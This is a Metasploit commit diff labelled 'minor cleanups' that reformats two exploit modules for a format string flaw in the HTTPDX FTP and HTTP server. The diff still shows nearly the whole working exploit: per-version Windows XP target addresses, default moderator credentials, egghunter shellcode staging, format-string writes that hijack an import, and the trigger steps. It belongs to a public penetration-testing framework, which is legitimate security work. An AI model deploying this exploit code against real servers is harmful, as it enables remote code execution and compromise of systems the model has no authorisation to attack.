minor cleanups
git-svn-id: file:///home/svn/framework3/trunk@8395 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
@@ -1,27 +1,34 @@
|
||||
###
|
||||
## This file is part of the Metasploit Framework and may be subject to
|
||||
## redistribution and commercial restrictions. Please see the Metasploit
|
||||
## Framework web site for more information on licensing and terms of use.
|
||||
## http://metasploit.com/framework/
|
||||
###
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GreatRanking
|
||||
|
||||
|
||||
include Msf::Exploit::Remote::Ftp
|
||||
include Msf::Exploit::Egghunter
|
||||
include Msf::Exploit::FormatString
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
super(update_info(info,
|
||||
'Name' => 'HTTPDX tolog() Function Format String Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits a format string vulnerability in HTTPDX FTP server.
|
||||
This module exploits a format string vulnerability in HTTPDX FTP server.
|
||||
By sending an specially crafted FTP command containing format specifiers, an
|
||||
attacker can corrupt memory and execute arbitrary code.
|
||||
|
||||
|
||||
By default logging is off for HTTP, but enabled for the 'moderator' user
|
||||
via FTP.
|
||||
},
|
||||
@@ -48,51 +55,51 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
#
|
||||
# Automatic targeting via fingerprinting
|
||||
#
|
||||
[ 'Automatic Targeting', { 'auto' => true } ],
|
||||
|
||||
#
|
||||
# specific targets
|
||||
#
|
||||
[ 'httpdx 1.4 - Windows XP SP3 English',
|
||||
{
|
||||
'NumPops' => 37,
|
||||
'Writable' => 0x64f87810, # empty space in core.dll imports
|
||||
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
||||
}
|
||||
[
|
||||
#
|
||||
# Automatic targeting via fingerprinting
|
||||
#
|
||||
[ 'Automatic Targeting', { 'auto' => true } ],
|
||||
|
||||
#
|
||||
# specific targets
|
||||
#
|
||||
[ 'httpdx 1.4 - Windows XP SP3 English',
|
||||
{
|
||||
'NumPops' => 37,
|
||||
'Writable' => 0x64f87810, # empty space in core.dll imports
|
||||
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
||||
}
|
||||
],
|
||||
[ 'httpdx 1.4.5 - Windows XP SP3 English',
|
||||
{
|
||||
'NumPops' => 37,
|
||||
'Writable' => 0x64f87810, # empty space in core.dll imports
|
||||
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
||||
}
|
||||
],
|
||||
[ 'httpdx 1.4.6 - Windows XP SP3 English',
|
||||
{
|
||||
'NumPops' => 37,
|
||||
'Writable' => 0x64f87810, # empty space in core.dll imports
|
||||
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
||||
}
|
||||
],
|
||||
[ 'httpdx 1.4.6b - Windows XP SP3 English',
|
||||
{
|
||||
'NumPops' => 37,
|
||||
'Writable' => 0x64f87810, # empty space in core.dll imports
|
||||
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
||||
}
|
||||
],
|
||||
[ 'httpdx 1.5 - Windows XP SP3 English',
|
||||
{
|
||||
'NumPops' => 29,
|
||||
'Writable' => 0x64f87810, # empty space in core.dll imports
|
||||
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
||||
}
|
||||
]
|
||||
],
|
||||
[ 'httpdx 1.4.5 - Windows XP SP3 English',
|
||||
{
|
||||
'NumPops' => 37,
|
||||
'Writable' => 0x64f87810, # empty space in core.dll imports
|
||||
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
||||
}
|
||||
],
|
||||
[ 'httpdx 1.4.6 - Windows XP SP3 English',
|
||||
{
|
||||
'NumPops' => 37,
|
||||
'Writable' => 0x64f87810, # empty space in core.dll imports
|
||||
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
||||
}
|
||||
],
|
||||
[ 'httpdx 1.4.6b - Windows XP SP3 English',
|
||||
{
|
||||
'NumPops' => 37,
|
||||
'Writable' => 0x64f87810, # empty space in core.dll imports
|
||||
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
||||
}
|
||||
],
|
||||
[ 'httpdx 1.5 - Windows XP SP3 English',
|
||||
{
|
||||
'NumPops' => 29,
|
||||
'Writable' => 0x64f87810, # empty space in core.dll imports
|
||||
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0))
|
||||
=begin
|
||||
|
||||
@@ -104,7 +111,7 @@ To find a target:
|
||||
2. navigate to the "c_wildcmp" function
|
||||
3. follow the xref to the first strlen
|
||||
4. follow the xref to the imports area
|
||||
5. copy/paste the address
|
||||
5. copy/paste the address
|
||||
6. the 'Writable' value should be anything after the last address IDA shows..
|
||||
(preferably something above 0x0d, to avoid bad chars)
|
||||
|
||||
@@ -112,16 +119,16 @@ If crashes occur referencing strange values, 'NumPops' probably needs adjusting.
|
||||
For now, that will have to be done manually.
|
||||
|
||||
=end
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(21),
|
||||
# note the default user/pass
|
||||
OptString.new('FTPUSER', [ false, 'The username to authenticate as', 'moderator']),
|
||||
OptString.new('FTPPASS', [ false, 'The password to authenticate with', 'pass123'])
|
||||
], self.class )
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(21),
|
||||
# note the default user/pass
|
||||
OptString.new('FTPUSER', [ false, 'The username to authenticate as', 'moderator']),
|
||||
OptString.new('FTPPASS', [ false, 'The password to authenticate with', 'pass123'])
|
||||
], self.class )
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
def check
|
||||
connect
|
||||
disconnect
|
||||
@@ -131,22 +138,22 @@ For now, that will have to be done manually.
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
def exploit
|
||||
|
||||
|
||||
# Use a copy of the target
|
||||
mytarget = target
|
||||
|
||||
|
||||
if (target['auto'])
|
||||
mytarget = nil
|
||||
|
||||
|
||||
print_status("Automatically detecting the target...")
|
||||
connect
|
||||
disconnect
|
||||
|
||||
if (banner and (m = banner.match(/220 httpdx\/(.*) \(Win32\)/))) then
|
||||
print_status("FTP Banner: #{banner}")
|
||||
print_status("FTP Banner: #{banner.strip}")
|
||||
version = m[1]
|
||||
else
|
||||
print_status("No matching target")
|
||||
@@ -159,12 +166,12 @@ For now, that will have to be done manually.
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
if (not mytarget)
|
||||
print_status("No matching target")
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
print_status("Selected Target: #{mytarget.name}")
|
||||
else
|
||||
print_status("Trying target #{mytarget.name}...")
|
||||
@@ -172,12 +179,12 @@ For now, that will have to be done manually.
|
||||
|
||||
# proceed with chosen target...
|
||||
connect_login
|
||||
|
||||
|
||||
# '<ip>\n PWD '
|
||||
ip_length = Rex::Socket.source_address(datastore['RHOST']).length
|
||||
num_start = ip_length + 1 + 3 + 1
|
||||
|
||||
|
||||
|
||||
|
||||
# use the egghunter!
|
||||
eh_stub, eh_egg = generate_egghunter
|
||||
|
||||
@@ -187,12 +194,12 @@ For now, that will have to be done manually.
|
||||
if (res = send_cmd(['PWD', fmtbuf ], true))
|
||||
print_status(res.strip)
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
# write 'writable' addr to flowhook (execute shellcode)
|
||||
# NOTE: the resulting two writes must be done at the same time
|
||||
fmtbuf = generate_fmt_two_shorts(num_start, mytarget['FlowHook'], mytarget['Writable'], mytarget)
|
||||
|
||||
|
||||
# add payload to the end
|
||||
fmtbuf << eh_egg * 2
|
||||
fmtbuf << payload.encoded
|
||||
@@ -200,17 +207,17 @@ For now, that will have to be done manually.
|
||||
if (res = send_cmd(['PWD', fmtbuf ], true))
|
||||
print_status(res.strip)
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
disconnect
|
||||
handler
|
||||
|
||||
|
||||
# connect again to trigger shellcode
|
||||
print_status(" triggering shellcode now")
|
||||
print_status("Please be patient, the egg hunter may take a while...")
|
||||
connect
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
|
||||
|
||||
@@ -1,27 +1,34 @@
|
||||
###
|
||||
## This file is part of the Metasploit Framework and may be subject to
|
||||
## redistribution and commercial restrictions. Please see the Metasploit
|
||||
## Framework web site for more information on licensing and terms of use.
|
||||
## http://metasploit.com/framework/
|
||||
###
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GreatRanking
|
||||
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Egghunter
|
||||
include Msf::Exploit::FormatString
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
super(update_info(info,
|
||||
'Name' => 'HTTPDX tolog() Function Format String Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits a format string vulnerability in HTTPDX HTTP server.
|
||||
This module exploits a format string vulnerability in HTTPDX HTTP server.
|
||||
By sending an specially crafted HTTP request containing format specifiers, an
|
||||
attacker can corrupt memory and execute arbitrary code.
|
||||
|
||||
|
||||
By default logging is off for HTTP, but enabled for the 'moderator' user
|
||||
via FTP.
|
||||
},
|
||||
@@ -48,56 +55,56 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
#
|
||||
# Automatic targeting via fingerprinting
|
||||
#
|
||||
[ 'Automatic Targeting', { 'auto' => true } ],
|
||||
|
||||
#
|
||||
# specific targets
|
||||
#
|
||||
[ 'httpdx 1.4 - Windows XP SP3 English',
|
||||
{
|
||||
'PadBytes' => 2,
|
||||
'NumPops' => 22,
|
||||
'Writable' => 0x64f87810, # empty space in core.dll imports
|
||||
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
||||
}
|
||||
[
|
||||
#
|
||||
# Automatic targeting via fingerprinting
|
||||
#
|
||||
[ 'Automatic Targeting', { 'auto' => true } ],
|
||||
|
||||
#
|
||||
# specific targets
|
||||
#
|
||||
[ 'httpdx 1.4 - Windows XP SP3 English',
|
||||
{
|
||||
'PadBytes' => 2,
|
||||
'NumPops' => 22,
|
||||
'Writable' => 0x64f87810, # empty space in core.dll imports
|
||||
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
||||
}
|
||||
],
|
||||
[ 'httpdx 1.4.5 - Windows XP SP3 English',
|
||||
{
|
||||
'PadBytes' => 2,
|
||||
'NumPops' => 22,
|
||||
'Writable' => 0x64f87810, # empty space in core.dll imports
|
||||
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
||||
}
|
||||
],
|
||||
[ 'httpdx 1.4.6 - Windows XP SP3 English',
|
||||
{
|
||||
'PadBytes' => 2,
|
||||
'NumPops' => 22,
|
||||
'Writable' => 0x64f87810, # empty space in core.dll imports
|
||||
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
||||
}
|
||||
],
|
||||
[ 'httpdx 1.4.6b - Windows XP SP3 English',
|
||||
{
|
||||
'PadBytes' => 2,
|
||||
'NumPops' => 22,
|
||||
'Writable' => 0x64f87810, # empty space in core.dll imports
|
||||
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
||||
}
|
||||
],
|
||||
[ 'httpdx 1.5 - Windows XP SP3 English',
|
||||
{
|
||||
'PadBytes' => 2,
|
||||
'NumPops' => 22,
|
||||
'Writable' => 0x64f87810, # empty space in core.dll imports
|
||||
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
||||
}
|
||||
]
|
||||
],
|
||||
[ 'httpdx 1.4.5 - Windows XP SP3 English',
|
||||
{
|
||||
'PadBytes' => 2,
|
||||
'NumPops' => 22,
|
||||
'Writable' => 0x64f87810, # empty space in core.dll imports
|
||||
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
||||
}
|
||||
],
|
||||
[ 'httpdx 1.4.6 - Windows XP SP3 English',
|
||||
{
|
||||
'PadBytes' => 2,
|
||||
'NumPops' => 22,
|
||||
'Writable' => 0x64f87810, # empty space in core.dll imports
|
||||
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
||||
}
|
||||
],
|
||||
[ 'httpdx 1.4.6b - Windows XP SP3 English',
|
||||
{
|
||||
'PadBytes' => 2,
|
||||
'NumPops' => 22,
|
||||
'Writable' => 0x64f87810, # empty space in core.dll imports
|
||||
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
||||
}
|
||||
],
|
||||
[ 'httpdx 1.5 - Windows XP SP3 English',
|
||||
{
|
||||
'PadBytes' => 2,
|
||||
'NumPops' => 22,
|
||||
'Writable' => 0x64f87810, # empty space in core.dll imports
|
||||
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0))
|
||||
=begin
|
||||
|
||||
@@ -109,7 +116,7 @@ To find a target:
|
||||
2. navigate to the "c_wildcmp" function
|
||||
3. follow the xref to the first strlen
|
||||
4. follow the xref to the imports area
|
||||
5. copy/paste the address
|
||||
5. copy/paste the address
|
||||
6. the 'Writable' value should be anything after the last address IDA shows..
|
||||
(preferably something above 0x0d, to avoid bad chars)
|
||||
|
||||
@@ -117,15 +124,15 @@ If crashes occur referencing strange values, 'NumPops' probably needs adjusting.
|
||||
For now, that will have to be done manually.
|
||||
|
||||
=end
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
], self.class )
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
], self.class )
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
def check
|
||||
|
||||
|
||||
version = get_version
|
||||
if version
|
||||
print_status("HTTPDX version detected : #{version}")
|
||||
@@ -135,18 +142,18 @@ For now, that will have to be done manually.
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
def exploit
|
||||
|
||||
|
||||
# Use a copy of the target
|
||||
mytarget = target
|
||||
|
||||
|
||||
if (target['auto'])
|
||||
mytarget = nil
|
||||
|
||||
|
||||
print_status("Automatically detecting the target...")
|
||||
|
||||
|
||||
version = get_version()
|
||||
if not version
|
||||
print_status("No matching target")
|
||||
@@ -159,32 +166,32 @@ For now, that will have to be done manually.
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
if (not mytarget)
|
||||
print_status("No matching target")
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
print_status("Selected Target: #{mytarget.name}")
|
||||
else
|
||||
print_status("Trying target #{mytarget.name}...")
|
||||
end
|
||||
|
||||
# proceed with chosen target...
|
||||
|
||||
|
||||
# '<ip> [Tue, 17 Nov 2009 18:22:12 GMT] "<GET/POST> /'
|
||||
ip_length = Rex::Socket.source_address(datastore['RHOST']).length
|
||||
num_start = ip_length + 2 + 29 + 3 + 3 + 2
|
||||
|
||||
|
||||
# use the egghunter!
|
||||
eh_stub, eh_egg = generate_egghunter
|
||||
|
||||
|
||||
|
||||
# write shellcode to 'writable' (all at once)
|
||||
fmtbuf = generate_fmtstr_from_buf(num_start, mytarget['Writable'], eh_stub, mytarget)
|
||||
fmtbuf = fmtbuf.gsub(/%/, '%25').gsub(/ /, '%20')
|
||||
print_status(" payload format string buffer is #{fmtbuf.length} bytes")
|
||||
|
||||
|
||||
connect
|
||||
request = "GET /"
|
||||
request << fmtbuf
|
||||
@@ -193,8 +200,8 @@ For now, that will have to be done manually.
|
||||
request << "\r\n"
|
||||
sock.put(request)
|
||||
disconnect
|
||||
|
||||
|
||||
|
||||
|
||||
# write 'writable' addr to flowhook (execute shellcode)
|
||||
# NOTE: the resulting two writes must be done at the same time
|
||||
fmtbuf = generate_fmt_two_shorts(num_start, mytarget['FlowHook'], mytarget['Writable'], mytarget)
|
||||
@@ -203,7 +210,7 @@ For now, that will have to be done manually.
|
||||
fmtbuf << payload.encoded
|
||||
fmtbuf = fmtbuf.gsub(/%/, '%25').gsub(/ /, '%20')
|
||||
print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")
|
||||
|
||||
|
||||
connect
|
||||
request = "GET /"
|
||||
request << fmtbuf
|
||||
@@ -219,26 +226,26 @@ For now, that will have to be done manually.
|
||||
print_status(" triggering shellcode now")
|
||||
print_status("Please be patient, the egg hunter may take a while...")
|
||||
connect
|
||||
|
||||
|
||||
handler
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
def get_version
|
||||
|
||||
|
||||
connect
|
||||
sock.put("GET / HTTP/1.0\r\n\r\n")
|
||||
resp = sock.get_once
|
||||
disconnect
|
||||
|
||||
|
||||
# this will need to be updated if httpdx is ever fixed :)
|
||||
if (resp and (m = resp.match(/Server: httpdx\/(.*) \(Win32\)/))) then
|
||||
return m[1]
|
||||
end
|
||||
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
|
||||
def generate_ascii_sled(badchars)
|
||||
sled = ""
|
||||
(0..255).each do |ch|
|
||||
|
||||
Reference in New Issue
Block a user